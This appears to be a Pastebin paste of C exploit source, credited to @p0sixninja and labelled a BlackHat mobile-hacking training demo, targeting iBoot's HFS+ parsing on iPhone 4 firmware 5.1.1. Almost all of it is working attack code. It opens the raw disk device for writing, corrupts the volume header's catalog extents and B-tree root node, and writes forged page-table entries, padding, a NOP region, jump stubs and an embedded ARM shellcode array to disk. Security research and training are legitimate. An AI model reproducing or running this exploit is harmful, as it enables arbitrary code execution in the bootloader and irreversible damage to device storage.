Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* (c) @p0sixninja */
- /* iBoot HFS exploit(s?) in header block size / extents block count */
- /* Tested on iPhone4 firmware 5.1.1 */
- /* PoC Demo for Mobile Hacking BlackHat training class */
- static unsigned char code[] = {
- 0x0e, 0x00, 0x00, 0xea,
- 0x18, 0xf0, 0x9f, 0xe5,
- 0x18, 0xf0, 0x9f, 0xe5,
- 0x18, 0xf0, 0x9f, 0xe5,
- 0x18, 0xf0, 0x9f, 0xe5,
- 0x18, 0xf0, 0x9f, 0xe5,
- 0x18, 0xf0, 0x9f, 0xe5,
- 0x18, 0xf0, 0x9f, 0xe5,
- 0x40, 0x00, 0xf0, 0x5f,
- 0xd0, 0xac, 0xf1, 0x5f,
- 0x08, 0xad, 0xf1, 0x5f,
- 0x04, 0x02, 0x00, 0x42,
- 0xEF, 0xBE, 0xAD, 0xDE, //0x7c, 0xad, 0xf1, 0x5f,
- 0xb4, 0xad, 0xf1, 0x5f,
- 0x40, 0xac, 0xf1, 0x5f,
- 0x88, 0xac, 0xf1, 0x5f,
- 0x48, 0x00, 0x4f, 0xe2, 0xc4, 0x12, 0x9f, 0xe5, 0x01, 0x00, 0x50, 0xe1, 0x01, 0x00, 0x50, 0xe1,
- 0x09, 0x00, 0x00, 0x0a, 0xb4, 0x12, 0x9f, 0xe5, 0xb4, 0x22, 0x9f, 0xe5, 0x04, 0x30, 0x90, 0xe4,
- 0x04, 0x20, 0x52, 0xe2, 0x04, 0x30, 0x81, 0xe4, 0xfb, 0xff, 0xff, 0x1a, 0x9c, 0x12, 0x9f, 0xe5,
- 0x4f, 0xf0, 0x7f, 0xf5, 0x6f, 0xf0, 0x7f, 0xf5, 0x11, 0xff, 0x2f, 0xe1, 0x00, 0x00, 0x0f, 0xe1,
- 0x1f, 0x00, 0xc0, 0xe3, 0x12, 0x10, 0x80, 0xe3, 0x01, 0xf0, 0x21, 0xe1, 0x00, 0xe0, 0xa0, 0xe3,
- 0x8c, 0xd2, 0x9f, 0xe5, 0x11, 0x10, 0x80, 0xe3, 0x01, 0xf0, 0x21, 0xe1, 0x00, 0xe0, 0xa0, 0xe3,
- 0x78, 0xd2, 0x9f, 0xe5, 0x17, 0x10, 0x80, 0xe3, 0x01, 0xf0, 0x21, 0xe1, 0x00, 0xe0, 0xa0, 0xe3,
- 0x6c, 0xd2, 0x9f, 0xe5, 0x1b, 0x10, 0x80, 0xe3, 0x01, 0xf0, 0x21, 0xe1, 0x00, 0xe0, 0xa0, 0xe3,
- 0x5c, 0xd2, 0x9f, 0xe5, 0x13, 0x10, 0x80, 0xe3, 0x01, 0xf0, 0x21, 0xe1, 0x54, 0xd2, 0x9f, 0xe5,
- 0x00, 0x10, 0x0f, 0xe1, 0x01, 0x1c, 0xc1, 0xe3, 0x01, 0xf0, 0x22, 0xe1, 0x34, 0x02, 0x9f, 0xe5,
- 0x34, 0x12, 0x9f, 0xe5, 0x00, 0x20, 0xa0, 0xe3, 0x01, 0x00, 0x50, 0xe1, 0x04, 0x20, 0x80, 0xb4,
- 0xfc, 0xff, 0xff, 0xba, 0x10, 0x02, 0x9f, 0xe5, 0x0f, 0xe0, 0xa0, 0xe1, 0x10, 0xff, 0x2f, 0xe1
- };
- int fs_hack() {
- int i = 0;
- int j = 0;
- int x = 0;
- int y = 0;
- int fd = 0;
- int rd = 0;
- int off = 0;
- int done = 0;
- int found = 0;
- unsigned int block = 0;
- unsigned int word = 0;
- unsigned int blocksize = 0;
- unsigned int blockcount = 0;
- unsigned int totalblocks = 0;
- unsigned int catalog_start = 0;
- unsigned int catalog_count = 0;
- unsigned int payload_start = 0x1000;
- unsigned int payload_count = 0x100000;
- unsigned char buffer[0x2000];
- unsigned char payload[0x2000];
- BTHeaderRec* record = NULL;
- HFSPlusVolumeHeader* header = NULL;
- BTNodeDescriptor* descriptor = NULL;
- memset(buffer, '\0', 0x2000);
- memset(payload, '\0', 0x2000);
- puts("Openning raw block device\n");
- fd = open("/dev/rdisk0s1s1", O_RDWR);
- if (fd > 0) {
- blocksize = 0x2000;
- //ioctl(fd, DKIOCGETBLOCKSIZE, &blocksize);
- //ioctl(fd, DKIOCGETBLOCKCOUNT, &blockcount);
- puts("Blocksize is ");
- puti(blocksize);
- endl();
- //puts("Blockcount is ");
- //puti(blockcount);
- //endl();
- puts("Reading data from block device\n");
- //lseek(fd, 0, SEEK_CUR);
- x = read(fd, buffer, blocksize);
- sync();
- if (x > 0) {
- //hexdump(buffer, blocksize);
- if (header == NULL && done == 0) {
- header = (HFSPlusVolumeHeader*) patch_find(buffer, blocksize, "HX", 2);
- if (header != NULL) {
- puts("Found HFS Volume Header\n");
- flipVolumeHeader(header);
- blocksize = header->blockSize;
- catalog_start = header->catalogFile.extents[0].startBlock;
- catalog_count = header->catalogFile.extents[0].blockCount;
- totalblocks = header->totalBlocks;
- puts("Original volume block size = ");
- puti(header->blockSize);
- endl();
- puts("Original extents block count = ");
- puti(header->extentsFile.extents[0].blockCount);
- endl();
- puts("Original extents block start = ");
- puti(header->extentsFile.extents[0].startBlock);
- endl();
- if (header->blockSize == 0x2000
- && header->extentsFile.extents[0].blockCount == 0x200
- && header->extentsFile.extents[0].startBlock == 0x405) {
- puts("Modifying HFS volume header block size\n");
- //header->blockSize = 0x2000;
- puts("Modifying HFS extents header block count\n");
- //header->extentsFile.extents[0].blockCount = 0x40000;
- //header->extentsFile.extents[0].blockCount = 0x200;
- header->catalogFile.extents[1].startBlock = payload_start;
- header->catalogFile.extents[1].blockCount = payload_count;
- //header->catalogFile.extents[1].blockCount = 0x200;
- //header->extentsFile.extents[0].startBlock = 0x421;
- //header->extentsFile.extents[0].startBlock = 0x405;
- //header->catalogFile.extents[1].startBlock = 0x1137;
- } else {
- puts("Restoring HFS volume header block size\n");
- //header->blockSize = 0x2000;
- puts("Restoring HFS extents header block count\n");
- //header->extentsFile.extents[0].blockCount = 0x40000; //0x200;
- //header->extentsFile.extents[0].blockCount = 0x200;
- //header->catalogFile.extents[1].blockCount = 0x100000;
- //header->catalogFile.extents[1].blockCount = 0x200;
- header->catalogFile.extents[1].startBlock = payload_start;
- header->catalogFile.extents[1].blockCount = payload_count;
- puts("Restoring HFS extents header start block\n");
- //done = 2;
- //header->extentsFile.extents[0].startBlock = 0x421; //0x405;
- //header->extentsFile.extents[0].startBlock = 0x405;
- //header->catalogFile.extents[1].startBlock = 0x1137;
- }
- puts("New volume block size = ");
- puti(header->blockSize);
- endl();
- puts("New extents block count = ");
- puti(header->extentsFile.extents[0].blockCount);
- endl();
- puts("New extents block start = ");
- puti(header->extentsFile.extents[0].startBlock);
- endl();
- flipVolumeHeader(header);
- endl();
- lseek(fd, 0, SEEK_SET);
- y = write(fd, buffer, blocksize);
- sync();
- puts("Wrote ");
- puti(y);
- puts(" bytes to disk");
- endl();
- if (done == 2) {
- done = 1;
- return -1;
- }
- }
- }
- if (!found) {
- //lseek(fd, (0x1055 * 0x2000), SEEK_SET);
- // Seek to the first extents BTree header
- memset(buffer, '\0', 0x2000);
- lseek(fd, (catalog_start * blocksize), SEEK_SET);
- x = read(fd, buffer, blocksize);
- if (x == blocksize) {
- //hexdump(buffer, 0x2000);
- puts("Read in BTree header record at ");
- puti(catalog_start * blocksize);
- endl();
- descriptor = (BTNodeDescriptor*) buffer;
- flipNodeDescriptor(descriptor);
- if (descriptor->kind == kBTHeaderNode) {
- puts("Found header node");
- endl();
- record = (BTHeaderRec*) (buffer + sizeof(BTNodeDescriptor));
- flipBTHeaderRec(record);
- puts("Old rootNode was ");
- puti(record->rootNode);
- endl();
- record->rootNode = catalog_count + 1;
- puts("New rootNode is ");
- puti(record->rootNode);
- endl();
- flipBTHeaderRec(record);
- }
- flipNodeDescriptor(descriptor);
- lseek(fd, (catalog_start * blocksize), SEEK_SET);
- y = write(fd, buffer, blocksize);
- puts("Wrote ");
- puti(y);
- puts(" bytes");
- endl();
- }
- puts("Our start offset should now be ");
- puti((payload_start + 1) * blocksize);
- endl();
- lseek(fd, ((payload_start + 1) * blocksize), SEEK_SET);
- /*
- unsigned int current = 0;
- unsigned int target = 0x5FFF9800;
- memset(payload, '\0', 0x2000);
- for(i = 0; i < 0x51; i++) {
- write(fd, payload, 0x1000);
- current += 0x1000;
- }
- sync();
- //0x5ff00c0e
- memset(payload, '\0', 0x2000);
- for(i = 0; i < 0x1000; i+=4) {
- if(i == 0x780) {
- memcpy(&payload[i], "\x00\x00\x00\x00", 4);
- puts("Heap address should be 0x");puti(target - current);endl();
- } else {
- memcpy(&payload[i], "\x0e\x0c\xf0\x5f", 4);
- }
- current+=4;
- }
- //for(i = 0; i < 0x1; i++) {
- write(fd, payload, 0x1000);
- //}
- sync();
- memset(payload, '\0', 0x2000);
- for(i = 0; i < 0x80; i++) {
- write(fd, payload, 0x1000);
- }
- sync();
- */
- // 0x5ff1ac080
- unsigned int ttb = 0x5FFF8000;
- unsigned int start = 0x5ff1ae80; //0x5ffae180;//0x5FFAE300;
- unsigned int padding = ttb - start;
- unsigned int filler = padding / 0x2000;
- unsigned int remainder = padding % 0x2000;
- puts("ttb = ");
- puti(ttb);
- endl();
- puts("start = ");
- puti(start);
- endl();
- puts("padding = ");
- puti(padding);
- endl();
- puts("filler = ");
- puti(filler);
- endl();
- puts("remainder = ");
- puti(remainder);
- endl();
- unsigned int current = start;
- memset(payload, '\0', 0x2000);
- while ((current + 0x2000) < ttb) {
- puts("Writing padding to ");
- puti(current);
- endl();
- write(fd, payload, 0x2000);
- current += 0x2000;
- sync();
- }
- memset(payload, '\0', 0x2000);
- for (i = 0; i < 0x2000; i++) {
- if (current < ttb) {
- //puts("Filling in remainder at ");
- //puti(current);
- //endl();
- payload[i] = 0x1;
- current++;
- } else if (current == ttb) break;
- }
- unsigned int j = 0;
- unsigned int pa = 0;
- unsigned int index = 0;
- unsigned int* tlb = (unsigned int*) &payload[i];
- while (i < 0x2000) {
- pa = index * 0x100000;
- if (current == ttb) {
- puts("Found start of tlb at ");
- puti(current);
- endl();
- tlb = (unsigned int*) &payload[i];
- tlb[j] = 0x5ff00c0e;
- } else if (current > ttb) {
- puts("Writing tlb entry for pa ");
- puti(index * 0x100000);
- puts(" at ");
- puti(current);
- endl();
- if (pa > 0 && pa < 0x60000000) {
- tlb[j] = pa | 0xc0e;
- }
- if (pa >= 0x60000000 && pa < 0x80000000) {
- tlb[j] = pa | 0xc32;
- }
- if (pa >= 0x80000000 && pa < 0xF0000000) {
- tlb[j] = pa | 0xc32;
- }
- }
- current += 4;
- i += 4;
- index++;
- j++;
- }
- write(fd, payload, 0x2000);
- sync();
- i = 0;
- j = 0;
- memset(payload, '\0', 0x2000);
- tlb = (unsigned int*) &payload[i];
- while (i < 0x2000) {
- pa = index * 0x100000;
- if (current == ttb) {
- puts("Found start of tlb at ");
- puti(current);
- endl();
- tlb = (unsigned int*) &payload[i];
- tlb[j] = 0x5ff00c0e;
- }
- else if ((current > ttb) && (current < ttb + 0x4000)) {
- puts("Writing tlb entry for index ");
- puti(index * 0x100000);
- puts(" at ");
- puti(current);
- endl();
- if (pa > 0 && pa < 0x60000000) {
- tlb[j] = pa | 0xc0e;
- }
- if (pa >= 0x60000000 && pa < 0x80000000) {
- tlb[j] = pa | 0xc32;
- }
- if (pa >= 0x80000000 && pa < 0xF0000000) {
- tlb[j] = pa | 0xc32;
- }
- }
- current += 4;
- i += 4;
- index++;
- j++;
- }
- write(fd, payload, 0x2000);
- sync();
- i = 0;
- j = 0;
- memset(payload, '\0', 0x2000);
- tlb = (unsigned int*) &payload[i];
- while (i < 0x2000) {
- pa = index * 0x100000;
- if ((current > ttb) && (current < ttb + 0x4000)) {
- puts("Writing tlb entry for index ");
- puti(index * 0x100000);
- puts(" at ");
- puti(current);
- endl();
- if (pa > 0 && pa < 0x60000000) {
- tlb[j] = pa | 0xc0e;
- }
- if (pa >= 0x60000000 && pa < 0x80000000) {
- tlb[j] = pa | 0xc32;
- }
- if (pa >= 0x80000000 && pa < 0xF0000000) {
- tlb[j] = pa | 0xc32;
- }
- } else if (current >= (ttb + 0x4000)) {
- puts("Padding rest of block at ");
- puti(current);
- endl();
- tlb[j] = 0xDEADBEEF;
- }
- current += 4;
- i += 4;
- index++;
- j++;
- }
- write(fd, payload, 0x2000);
- sync();
- // These should be NOPS rather then Invalid instructions
- memset(payload, 0xEE, 0x2000);
- for (i = 0; i < 0x8; i++) {
- puts("Writing NOP/INV block at ");
- puti(current);
- endl();
- write(fd, payload, 0x2000);
- current += 0x2000;
- sync();
- }
- puts("*** Our payload should go here ***\n");
- // Pad to around 0x7FF00000
- memset(payload, '\0', 0x2000);
- for (i = 0; i < 0x10000; i++) {
- if ((i % 0x1000) == 0) {
- puts("Writing NULL Block at ");
- puti(current);
- endl();
- }
- if (current >= 0x7FF00000) break;
- write(fd, payload, 0x2000);
- current += 0x2000;
- sync();
- }
- // Write our jump back to nop slide
- memset(payload, '\0', 0x2000);
- for (i = 0; i < 0x2000; i += 8) {
- puts("Writing our jump code at ");
- puti(current);
- endl();
- memcpy(&payload[i + 0], "\x00\x4b\x98\x47", 4);
- memcpy(&payload[i + 4], "\x00\x00\x00\x40", 4);
- current += 8;
- }
- write(fd, payload, 0x2000);
- sync();
- /*
- // Write the second level TLB at 0x5FFB0000
- unsigned int* second = (unsigned int*) &payload[0];
- memset(payload, '\0', 0x2000);
- for (i = 0; i < 0x100; i++) {
- //if (i == 0) {
- //second[i] = 0x5FF00002;
- //} else {
- //second[i] = 0x5FF00002 + (i * 0x1000);
- //}
- }
- write(fd, payload, 0x2000);
- sync();
- // Write 23 blocks of NULLs to pad
- memset(payload, '\0', 0x2000);
- for (i = 0; i < 0x23; i++) {
- write(fd, payload, 0x2000);
- sync();
- }
- // We should be at 0x5FFF8000 now
- // Write the first half of our first level entries
- memset(payload, '\0', 0x2000);
- unsigned int* first = (unsigned int*) &payload[0];
- for (i = 0; i < 0x800; i++) {
- unsigned int pa = i * 0x100000;
- if (pa >= 0 && pa < 0x60000000) {
- first[i] = pa | 0xc0e;
- }
- if (pa >= 0x60000000 && pa < 0x80000000) {
- first[i] = pa | 0xc32;
- }
- if (pa >= 0x80000000 && pa < 0x90000000) {
- first[i] = pa | 0xc32;
- }
- if (pa >= 0xB0000000 && pa < 0xC0000000) {
- first[i] = pa | 0xc32;
- }
- }
- write(fd, payload, 0x2000);
- sync();
- // We should be at 0x5FFFA000 now
- // Write the second half of our first level entry
- memset(payload, '\0', 0x2000);
- first = (unsigned int*) &payload[0];
- for (i = 0; i < 0x800; i++) {
- unsigned int pa = (i + 0x800) * 0x100000;
- if (pa >= 0 && pa < 0x60000000) {
- first[i] = 0x5FF00000 | 0xc0e;
- }
- if (pa >= 0x60000000 && pa < 0x80000000) {
- first[i] = pa | 0xc32;
- }
- if (pa >= 0x80000000 && pa < 0x90000000) {
- first[i] = pa | 0xc32;
- }
- if (pa >= 0xB0000000 && pa < 0xC0000000) {
- first[i] = pa | 0xc32;
- }
- }
- write(fd, payload, 0x2000);
- sync();
- // We should be at 0x5FFFC000 now
- // Pad 0x4000 more bytes
- memset(payload, '\0', 0x2000);
- for (i = 0; i < 0x2; i++) {
- write(fd, payload, 0x2000);
- sync();
- }
- // We should be at 0x60000000 now
- // 0x60000000 should be mapped to 0x5FF3A000
- // Our payload goes here
- //lseek(fd, (0x2000 * 0x2000), SEEK_SET);
- memset(payload, 0xEE, 0x2000);
- //memcpy(payload, code, sizeof(code));
- //memcpy(&payload[0x1000], code, sizeof(code));
- //for (i = 0; i < 0xFF80; i++) {
- */
- /*
- //0xDEADBEEF
- memset(payload, '\0', 0x2000);
- for (i = 0; i < 0x2000; i += 8) {
- //if (i < 0x100) {
- // memcpy(&payload[i + 0], "\x0E\x00\x00\xEA", 4);
- // memcpy(&payload[i + 4], "\x00\x00\x00\x00", 4);
- // continue;
- //}
- memcpy(&payload[i + 0], "\x00\x4b\x98\x47", 4);
- memcpy(&payload[i + 4], "\x00\x00\x00\x40", 4);
- }
- for (i = 0; i < 0x8; i++) {
- puts("Writing payload block ");
- puti(i);
- endl();
- write(fd, payload, 0x2000);
- sync();
- }
- */
- /*
- memset(payload, 0xCC, 0x2000);
- for(i = 0; i < 0x2; i++) {
- write(fd, payload, 0x2000);
- sync();
- }
- */
- //for (i = 0; i < blocksize; i++) {
- // if (buffer[i] == 0) continue;
- // else break;
- //}
- //if(i == blocksize) {
- // puts("Block ");puti(block);puts(" is empty");endl();
- //} else {
- // puts("Block ");puti(block);puts(" not empty");endl();
- //}
- //endl();
- /*
- for(i = 0; i < 0x3000; i++) {
- lseek(fd, (i * 0x2000), SEEK_SET);
- x = read(fd, buffer, 0x2000);
- //puts("Read ");puti(x);endl();
- for(j = 0; j < 0x2000; j++) {
- if(buffer[j] == 0x0) continue;
- else break;
- }
- if(j == 0x2000) {
- if(i >= 0x420 && i < 0x520) {
- lseek(fd, (i * 0x2000), SEEK_SET);
- puts("Block empty: ");puti(i);endl();
- memset(payload, 'A', 0x2000);
- y = write(fd, payload, 0x2000);
- //puts("Wrote ");puti(y);endl();
- sync();
- }
- } //else {
- //puts("Block not empty!!!!");endl();
- //}
- memset(buffer, 0x1, 0x2000);
- }
- */
- /*
- block = 0x421;
- if (block == 0x421) {
- //hexdump(payload, blocksize);
- lseek(fd, (block * blocksize), SEEK_SET);
- puts("Writing our payload to block ");
- puti(block);
- endl();
- rd = open("/dev/rmd0", O_RDWR);
- if (rd > 0) {
- for (j = 0; j < 0x80; j++) {
- memset(payload, '\0', 0x2000);
- puts("Reading ramdisk block ");
- puti(j);
- endl();
- x = pread(rd, payload, blocksize, 0x780000 + (j * blocksize));
- puts("Read ");
- puti(x);
- puts(" bytes");
- endl();
- if (x == blocksize) {
- puts("Writing disk block ");
- puti(j);
- endl();
- y = write(fd, payload, blocksize);
- puts("Wrote ");
- puti(y);
- puts(" bytes");
- endl();
- sync();
- }
- //hexdump(payload, blocksize);
- }
- close(rd);
- }
- //unsigned char* task = NULL;
- //unsigned char* storage = 0x5ff85600;
- //unsigned char* destination = 0x5ff3c93c;
- //hexdump(payload, blocksize);
- //for (j = 0x0; j < blocksize; j += 4) {
- // memcpy(&payload[j], "\x00\x00\x00\x00", 4);
- //}
- // iBoot 0x604-0x608
- //for (j = 0x600; j < 0x700; j += 4) {
- // memcpy(&payload[j], "\x00\x00\x00\x00", 4);
- //}
- //hexdump(payload, blocksize);
- //unsigned int* reset = ((unsigned int*)&payload[0x824]);
- //puts("Reset Vector Original: ");puti(*reset);endl();
- //*reset = 0xEA00000E;
- //puts("Reset Vector Replaced: ");puti(*reset);endl();
- //lseek(fd, (block * blocksize), SEEK_SET);
- //for(j = 0; j < 0x24; j++) {
- //puts("Writing block ");puti(block);endl();
- //y = write(fd, payload, blocksize);
- //puts("Wrote ");puti(y);puts(" bytes");endl();
- //sync();
- //}
- //found = 1;
- //sync();
- }
- */
- }
- //block++;
- //if (block > totalblocks || block > 0x500) break;
- //puts("Attempting to read block ");puti(block);puts("\n");
- //lseek(fd, (block * blocksize), SEEK_SET);
- //x = read(fd, buffer, blocksize);
- //sync();
- }
- puts("Closing raw block device\n");
- close(fd);
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement